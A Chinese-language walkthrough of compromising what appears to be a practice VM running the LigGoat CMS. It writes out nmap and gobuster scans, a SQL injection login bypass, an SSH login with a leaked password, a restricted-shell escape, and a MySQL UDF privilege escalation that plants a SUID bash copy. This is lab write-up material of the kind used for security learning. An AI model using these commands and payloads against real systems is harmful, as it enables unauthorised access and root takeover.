靶机设置
不能通过“打开虚拟机”的方式导入vmdk格式文件,而是通过创建虚拟机并替换硬盘的方式导入vmdk格式文件
具体方法参考这个链接的“bug1”和“bug找不到操作系统”:VMware导入vmdk格式的文件 踩了一堆坑~~~
Nmap扫描
主机发现
sudo nmap -sn 192.168.9.0/24
新增IP192.168.9.156
为靶机IP
TCP开放端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.9.156
开放22,80,139,445端口
UDP开放端口扫描
sudo nmap -sU --min-rate 10000-p- 192.168.9.156
137,3456,9200,18617,19605,23679,31189
TCP详细信息扫描
sudo nmap -sT -sV -sC -O -p22,80,139,445 192.168.9.156
80端口是php+apache
linux内核版本比较低
vuln漏洞脚本扫描
sudo nmap --script=vuln -p22,80,139,445 192.168.9.156
Getshell
80-界面查看
发现LigGoat标识,怀疑cms,而且2013很老了。
but没搜到qaq
直接gobuster目录扫描试一下:
sudo gobuster dir -u http://192.168.9.156/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
都访问了一下,发现基本都会跳转到Index.php
只有这个有点意思。但是直接点击john.php也会跳转到index.php。试试curl
没太看懂qaq
80-SQL注入
回到主界面尝试SQL注入:
username: admin' or 1=1 --
password: admin' or 1=1 --
密码的位置存在注入,用户名不存在。这个报错,应该是用户名不对
一通乱试,发现john
和robert
的回显不一样:
两个
==
以为base64解码还能有信息,尝试解码,发现并不是base64编码QAQ
拿到账密,尝试ssh登陆
ssh登陆
普通ssh登陆回报错,加上参数即可,具体如下:
ssh john@192.168.9.156 -oHostKeyAlgorithms=+ssh-dss
# 密码:MyNameIsJohn
登陆成功
80-文件包含
这里又想起来,当时想访问john.php
失败。既然现在已经拿到cookie不会被跳转index,那来看看john.php
:
耶,这个页面不是跟member回显的一样嘛。难道其实是文件包含?
尝试一下直接读取john.php
根据信息可以猜测路径是(不重要)/www/john/john.php
,那么我们先回到上级文件,再进入member
所在路径。因为前面只传送了一个john
就读取到了./john/john.php
,那么大胆猜测,是会重复一次john
并且自动加上php
后缀的。
综合以上信息,构造:../www/john
出现报错。确定了构造读取路径的方法:重复一次,再加上php。
再根据报错,确定使用的函数是include
。
然后不会构造了qaq。
提权
基础信息
我靠,怎么都没有啊啊啊啊——
重新看了一下连接时候的信息:
思考。先看看能用什么指令吧:?
崩溃!
看眼robert,发现一样。
乱试了一下,发现2次forbidden就会被断联。
摆脱受限shell
echo os.system('/bin/bash')
尝试内核漏洞提权,发现wget连不上kali
mysql提权
查看以root权限运行的服务
ps -ef | grep root
发现mysql。
cms显然使用了mysql。切换到/var/www
目录,尝试从php连接数据库的地方读取账户密码:
cd /var/www
ls
cat checklogin.php
root密码为空,笑啦!
连接数据库:
mysql -uroot -p
# 密码为空
对于mysql可以采用mysql-udf的方式提权,条件是:
-
secure_file_priv
为空 - 账号要拥有
create insert delete
的权限
root用户肯定满足第二个条件,所以只需要确认secure_file_priv
为空即可:
show variables like '%secure_file_priv%';
两个条件都满足,接下来进行提权尝试:
select * from mysql.func;
use mysql;
create function sys_eval returns string soname "lib_mysqludf_sys.so";
/* sys_exec()执行没有回显,因此手动引入sys_eval函数 */
select sys_eval('whoami');
select sys_eval('cp /bin/bash /tmp/bash; chmod +xs /tmp/bash');
然后我们退出,新启一个shell:
提升交互性失败QAQ:
不过问题不大:
拿下!